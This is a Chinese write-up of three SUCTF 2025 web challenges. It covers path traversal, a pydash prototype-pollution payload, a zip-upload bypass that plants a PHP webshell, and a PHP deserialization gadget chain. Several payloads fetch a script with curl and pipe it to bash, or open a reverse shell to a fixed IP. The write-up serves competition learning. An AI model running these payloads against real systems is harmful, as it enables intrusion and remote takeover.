【Web】2025-SUCTF个人wp

目录

SU_blog

SU_photogallery

SU_POP


SU_blog

先是注册功能覆盖admin账号

以admin身份登录,拿到读文件的权限

./article?file=articles/..././..././..././..././..././..././etc/passwd

./article?file=articles/..././..././..././..././..././..././proc/1/cmdline

./article?file=articles/..././app.py

 读到源码

from flask import *
import time, os, json, hashlib
from pydash import set_
from waf import pwaf, cwafapp = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'
articles = {1: "articles/article1.txt",2: "articles/article2.txt",3: "articles/article3.txt"
}
friend_links = [{"name": "bkf1sh", "url": "https://ctf.org.cn/"},{"name": "fushuling", "url": "https://fushuling.com/"},{"name": "yulate", "url": "https://www.yulate.com/"},{"name": "zimablue", "url": "https://www.zimablue.life/"},{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]class User():def __init__(self):passuser_data = User()@app.route('/')
def index():if 'username' in session:return render_template('blog.html', articles=articles, friend_links=friend_links)return redirect(url_for('login'))@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == 'POST':username = request.form['username']password = request.form['password']if username in users and users[username] == password:session['username'] = usernamereturn redirect(url_for('index'))else:return "Invalid credentials", 403return render_template('login.html')@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':username = request.form['username']password = request.form['password']users[username] = passwordreturn redirect(url_for('login'))return render_template('register.html')@app.route('/change_password', methods=['GET', 'POST'])
def change_password():if 'username' not in session:return redirect(url_for('login'))if request.method == 'POST':old_password = request.form['old_password']new_password = request.form['new_password']confirm_password = request.form['confirm_password']if users[session['username']] != old_password:flash("Old password is incorrect", "error")elif new_password != confirm_password:flash("New passwords do not match", "error")else:users[session['username']] = new_passwordflash("Password changed successfully", "success")return redirect(url_for('index'))return render_template('change_password.html')@app.route('/friendlinks')
def friendlinks():if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))return render_template('friendlinks.html', links=friend_links)@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))name = request.form.get('name')url = request.form.get('url')if name and url:friend_links.append({"name": name, "url": url})return redirect(url_for('friendlinks'))@app.route('/delete_friendlink/')
def delete_friendlink(index):if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))if 0 <= index < len(friend_links):del friend_links[index]return redirect(url_for('friendlinks'))@app.route('/article')
def article():if 'username' not in session:return redirect(url_for('login'))file_name = request.args.get('file', '')if not file_name:return render_template('article.html', file_name='', content="未提供文件名。")blacklist = ["waf.py"]if any(blacklisted_file in file_name for blacklisted_file in blacklist):return render_template('article.html', file_name=file_name, content="大黑阔不许看")if not file_name.startswith('articles/'):return render_template('article.html', file_name=file_name, content="无效的文件路径。")if file_name not in articles.values():if session.get('username') != 'admin':return render_template('article.html', file_name=file_name, content="无权访问该文件。")file_path = os.path.join(BASE_DIR, file_name)file_path = file_path.replace('../', '')try:with open(file_path, 'r', encoding='utf-8') as f:content = f.read()except FileNotFoundError:content = "文件未找到。"except Exception as e:app.logger.error(f"Error reading file {file_path}: {e}")content = "读取文件时发生错误。"return render_template('article.html', file_name=file_name, content=content)@app.route('/Admin', methods=['GET', 'POST'])
def admin():if request.args.get('pass') != "SUers":return "nonono"if request.method == 'POST':try:body = request.jsonif not body:flash("No JSON data received", "error")return jsonify({"message": "No JSON data received"}), 400key = body.get('key')value = body.get('value')if key is None or value is None:flash("Missing required keys: 'key' or 'value'", "error")return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400# Additional logic to handle key-value pairs can be added here.except Exception as e:flash(f"Error: {str(e)}", "error")return jsonify({"message": f"Error: {str(e)}"}), 500return render_template('admin.html')

/Admin路由一眼打pydash原型链污染

 污染什么呢,可以污染render_template

参考CTFtime.org / idekCTF 2022* / task manager / Writeup

打入

{"key":"__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;__import__('os').system('curl http://27.25.151.98:1338/shell.sh | bash');#"}

放个恶意shell文件到vps上

bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"

随便访问渲染模板的页面,成功反弹shell 

SU_photogallery

结合“测试”的提示&404特征辨别题目服务是php -S启动的

存在一个任意文件读取漏洞

PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog

去读一下unzip.php

bp把自动更新长度关掉

 

<?php
/** @Author: Nbc* @Date: 2025-01-13 16:13:46* @LastEditors: Nbc* @LastEditTime: 2025-01-13 16:31:53* @FilePath: \src\unzip.php* @Description: * * Copyright (c) 2025 by Nbc, All Rights Reserved. */
error_reporting(0);function get_extension($filename){return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){$filePath = $path . DIRECTORY_SEPARATOR . $filename;if (is_file($filePath)) {$extension = strtolower(get_extension($filename));if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {if (!unlink($filePath)) {// echo "Fail to delete file: $filename\n";return false;}else{// echo "This file format is not supported:$extension\n";return false;}}else{return true;}
}
else{// echo "nofile";return false;
}
}
function file_rename ($path,$file){$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);$oldPath = $path . DIRECTORY_SEPARATOR . $file;$newPath = $path . DIRECTORY_SEPARATOR . $randomName;if (!rename($oldPath, $newPath)) {unlink($path . DIRECTORY_SEPARATOR . $file);// echo "Fail to rename file: $file\n";return false;}else{return true;}
}function move_file($path,$basePath){foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);if (!rename($file, $destination)){// echo "Fail to rename file: $file\n";return false;}}return true;
}function check_base($fileContent){$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];$base64_keywords = [];foreach ($keywords as $keyword) {$base64_keywords[] = base64_encode($keyword);}foreach ($base64_keywords as $base64_keyword) {if (strpos($fileContent, $base64_keyword)!== false) {return true;}else{return false;}}
}function check_content($zip){for ($i = 0; $i < $zip->numFiles; $i++) {$fileInfo = $zip->statIndex($i);$fileName = $fileInfo['name'];if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {return false; }// echo "Checking file: $fileName\n";$fileContent = $zip->getFromName($fileName);if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {// echo "Don't hack me!\n";    return false;}else {continue;}}return true;
}function unzip($zipname, $basePath) {$zip = new ZipArchive;if (!file_exists($zipname)) {// echo "Zip file does not exist";return "zip_not_found";}if (!$zip->open($zipname)) {// echo "Fail to open zip file";return "zip_open_failed";}if (!check_content($zip)) {return "malicious_content_detected";}$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;if (!mkdir($path, 0777, true)) {// echo "Fail to create directory";$zip->close();return "mkdir_failed";}if (!$zip->extractTo($path)) {// echo "Fail to extract zip file";$zip->close();}else{for ($i = 0; $i < $zip->numFiles; $i++) {$fileInfo = $zip->statIndex($i);$fileName = $fileInfo['name'];if (!check_extension($fileName, $path)) {// echo "Unsupported file extension";continue;}if (!file_rename($path, $fileName)) {// echo "File rename failed";continue;}}}if (!move_file($path, $basePath)) {$zip->close();// echo "Fail to move file";return "move_failed";}rmdir($path);$zip->close();return true;
}$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {mkdir($uploadDir, 0777, true);
}if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {$uploadedFile = $_FILES['file'];$zipname = $uploadedFile['tmp_name'];$path = $uploadDir;$result = unzip($zipname, $path);if ($result === true) {header("Location: index.html?status=success");exit();} else {header("Location: index.html?status=$result");exit();}
} else {header("Location: index.html?status=file_error");exit();
}

注意到这段代码

因为是先解压再检验文件后缀,所以可以用解压失败来绕过

zip在CTF-web方向中的一些用法 - 个人学习分享

用这段脚本生成恶意zip文件

import zipfile
import io# 创建一个 BytesIO 对象来存储压缩文件内容
mf = io.BytesIO()# 使用 zipfile 创建一个 ZIP 文件
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:# 向 ZIP 文件中写入恶意 PHP 文件zf.writestr('exp.php', b'<?php ($_GET[1])($_POST[2]);?>')# 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'zf.writestr('A' * 5000, b'AAAAA')# 将生成的 ZIP 文件写入磁盘
with open("shell.zip", "wb") as f:f.write(mf.getvalue())

 上传成功

 访问RCE

SU_POP

看到反序列化入口

 

先是找入口点,全局搜__destruct,看到RejectedPromise这个类对handler、reason可控,可以拼接message触发__toString

再找sink,全局搜eval(

找到一个比较干净的触发eval的类

 再全局搜__toString

stream可控,可以触发__call

全局搜__call

 

从_methodMap中取一组数据,配合_loaded,可以调用任意类的任意方法,最后走到sink

链子

RejectedPromise#__destruct -> Response#__toString -> Table#__call ->BehaviorRegistry#call -> MockClass#generate 

 exp:

<?php
namespace PHPUnit\Framework\MockObject\Generator;class MockClass
{public $classCode;public $mockName;public function __construct() {$this->classCode ="system('curl http://27.25.151.98:1338/shell.sh | bash');";$this->mockName = "Z3r4y";}
}namespace Cake\ORM;use PHPUnit\Framework\MockObject\Generator\MockClass;class BehaviorRegistry
{public $_methodMap;public $_loaded;public function __construct() {$this->_methodMap = ["rewind" => ["Z3r4y", "generate"]];$this->_loaded = ["Z3r4y" => new MockClass()];}
}class Table
{public $_behaviors;public function __construct() {$this->_behaviors = new BehaviorRegistry();}
}namespace Cake\Http;use Cake\ORM\Table;class Response
{public $stream;public function __construct() {$this->stream = new Table();}
}namespace React\Promise\Internal;use Cake\Http\Response;final class RejectedPromise
{public $reason;public function __construct() {$this->reason = new Response();}
}$a=new RejectedPromise();
echo base64_encode(serialize($a));

 

往vps上放一个恶意shell脚本

bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"

打入:

成功弹上shell

 

find提权拿flag 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/5968.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【优选算法】6----查找总价格为目标值的两个商品

这道题相对于前寄到算法题较为容易~ 同样也是使用了双指针的算法哦~ ----------------------------------------begin-------------------------------------- 题目解析&#xff1a; 题目也是很简单地一句话&#xff0c;但是意图还是很明确~ 讲解算法原理&#xff1a; 同样的&…

github登录用的TOTP和恢复码都丢失了怎么办

从22年左右开始github的登录就需要用TOTP的一个6位秘钥做二次认证登录&#xff0c;如果在用的TOTP软件失效了&#xff0c;可以用github开启二次认证时下载的恢复码重置认证&#xff0c;但是如果你和我一样这两个东西都没了就只能用邮箱重置了&#xff0c;过程给大家分享一下 一…

FFmpeg常用命令

文章目录 一、 FFmpeg 音视频的处理流程二、FFmpeg 常用命令2.1、查看本机支持的采集设备2.2、 录制视频2.2.1、原始视频2.2.2、编码的视频 2.3、录制音频&#xff1a;2.3.1、原始音频2.3.2、编码的音频 2.4、录制音视频&#xff1a;2.5、文件格式转换&#xff1a;2.6、提取音频…

30天开发操作系统 第 17 天 -- 命令行窗口

前言 今天一开始&#xff0c;请大家先回忆一下任务A的情形。在harib13e中&#xff0c;任务A下面的LEVEL中有任务因此FIFO为空时我们可以让任务A进入休眠状态。那么&#xff0c;如果我们并未启动任务B0~ B0~ B2, B2的话&#xff0c;任务A又将会如何呢&#xff1f; 首先&#xf…

OpenEuler学习笔记(九):安装 OpenEuler后配置和优化

安装OpenEuler后&#xff0c;可以从系统基础设置、网络配置、性能优化等方面进行配置和优化&#xff0c;以下是具体内容&#xff1a; 系统基础设置 更新系统&#xff1a;以root用户登录系统后&#xff0c;在终端中执行sudo yum update命令&#xff0c;对系统进行更新&#x…

网络安全 | 入侵检测系统(IDS)与入侵防御系统(IPS):如何识别并阻止威胁

网络安全 | 入侵检测系统&#xff08;IDS&#xff09;与入侵防御系统&#xff08;IPS&#xff09;&#xff1a;如何识别并阻止威胁 一、前言二、入侵检测系统&#xff08;IDS&#xff09;2.1 IDS 的工作原理2.2 IDS 的技术类型2.3 IDS 的部署方式 三、入侵防御系统&#xff08;…

数学规划问题2 .有代码(非线性规划模型,最大最小化模型,多目标规划模型)

非线性规划模型 FIrst:转化为标准型 在matlab中求非线性规划的函数 练习题: 典型例题: 最大最小化模型 核心思想&#xff1a; matlab的模型求解 经典例题: 多目标规划模型 基本概念 求解思路: 模型构建步骤 经典例题: 非线性规划模型 非线性规划&#xff08;Nonl…

2025年最新深度学习环境搭建:Win11+ cuDNN + CUDA + Pytorch +深度学习环境配置保姆级教程

本文目录 一、查看驱动版本1.1 查看显卡驱动1.2 显卡驱动和CUDA对应版本1.3 Pytorch和Python对应的版本1.4 Pytorch和CUDA对应的版本 二、安装CUDA三、安装cuDANN四、安装pytorch五、验证是否安装成功 一、查看驱动版本 1.1 查看显卡驱动 输入命令nvidia-smi可以查看对应的驱…

Transformer详解:Attention机制原理

前言 Hello&#xff0c;大家好&#xff0c;我是GISer Liu&#x1f601;&#xff0c;一名热爱AI技术的GIS开发者&#xff0c;本系列文章是作者参加DataWhale2025年1月份学习赛&#xff0c;旨在讲解Transformer模型的理论和实践。&#x1f632; 本文将详细探讨Attention机制的原理…

npm install 报错:Command failed: git checkout 2.2.0-c

[TOC](npm install 报错&#xff1a;Command failed: git checkout 2.2.0-c) npm install 报错&#xff1a;Command failed: git checkout 2.2.0-c export NODE_HOME/usr/local/node-v14.14.0-linux-x64 npm config set registry https://registry.npmmirror.com 使用如上环…

从对等通信到万维网:通信模型变迁与拥塞求解

Leonard Kleinrock&#xff1a;我很清楚用不了多久这些计算机就会有相互通信的需求&#xff0c;但如何协调处理这些分时系统概率性产生的分组(不同于电路交换)&#xff0c;却没有有效的方法&#xff0c;我有处理该问题的方法&#xff0c;因此对于我的博士研究&#xff0c;我决定…

【Vim Masterclass 笔记21】S09L39:Vim 设置与 vimrc 文件的用法示例(二)

文章目录 S09L39 Vim Settings and the Vimrc File - Part 21 Vim 的配色方案与 color 命令2 map 命令3 示例&#xff1a;用 map 命令快速生成 HTML 代码片段4 Vim 中的 Leader 键5 用 mkvimrc 命令自动生成配置文件 写在前面 本篇为 Vim 自定义配置的第二部分。当中的每个知识…

Debian 上安装PHP

1、安装软件源拓展工具 apt -y install software-properties-common apt-transport-https lsb-release ca-certificates 2、添加 Ondřej Sur 的 PHP PPA 源&#xff0c;需要按一次回车&#xff1a; add-apt-repository ppa:ondrej/php 3、更新软件源缓存&#xff1a; apt-g…

docker Ubuntu实战

目录 Ubuntu系统环境说明 一、如何安装docker 二、发布.netcore应用到docker中 Ubuntu系统环境说明 cat /etc/os-release PRETTY_NAME"Ubuntu 22.04.5 LTS" NAME"Ubuntu" VERSION_ID"22.04" VERSION"22.04.5 LTS (Jammy Jellyfish)&quo…

Android OpenGL(六) 纹理

纹理 纹理是一个2D图片&#xff08;甚至也有1D和3D的纹理&#xff09;&#xff0c; 它可以用来添加物体的细节&#xff1b;你可以想象纹理是一张绘有砖块的纸&#xff0c;无缝折叠贴合到你的3D的 房子上&#xff0c;这样你的房子看起来就像有砖墙外表了 纹理环绕方式 纹理坐…

C# 网络协议第三方库Protobuf的使用

为什么要使用二进制数据 通常我们写一个简单的网络通讯软件可能使用的最多的是字符串类型&#xff0c;比较简单&#xff0c;例如发送格式为(head)19|Msg:Heart|100,x,y,z…&#xff0c;在接收端会解析收到的socket数据。 这样通常是完全可行的&#xff0c;但是随着数据量变大&…

微软Win10 RP 19045.5435(KB5050081)预览版发布!

系统之家1月20日最新报道&#xff0c;微软面向Release Preview频道的Windows Insider项目成员&#xff0c;发布了适用于Windows10 22H2版本的KB5050081更新&#xff0c;更新后系统版本号将升至19045.5435。本次更新增加了对GB18030-2022标准的支持&#xff0c;同时新版日历将为…

零售业革命:改变行业的顶级物联网用例

mpro5 产品负责人Ruby Whipp表示&#xff0c;技术进步持续重塑零售业&#xff0c;其中物联网&#xff08;IoT&#xff09;正引领这一变革潮流。 研究表明&#xff0c;零售商们正在采用物联网解决方案&#xff0c;以提升运营效率并改善顾客体验。这些技术能够监控运营的各个方面…

ASP .NET Core 学习(.NET9)部署(一)windows

在windows部署 ASP .NET Core 的时候IIS是不二选择 一、IIS安装 不论是在window7 、w10还是Windows Server&#xff0c;都是十分简单的&#xff0c;下面以Windows10为例 打开控制面版—程序—启用或关闭Windows功能 勾选图中的两项&#xff0c;其中的子项看需求自行勾选&am…

【组件库】使用Vue2+AntV X6+ElementUI 实现拖拽配置自定义vue节点

先来看看实现效果&#xff1a; 【组件库】使用 AntV X6 ElementUI 实现拖拽配置自定义 Vue 节点 在现代前端开发中&#xff0c;流程图和可视化编辑器的需求日益增加。AntV X6 是一个强大的图形化框架&#xff0c;支持丰富的图形操作和自定义功能。结合 ElementUI&#xff0c;…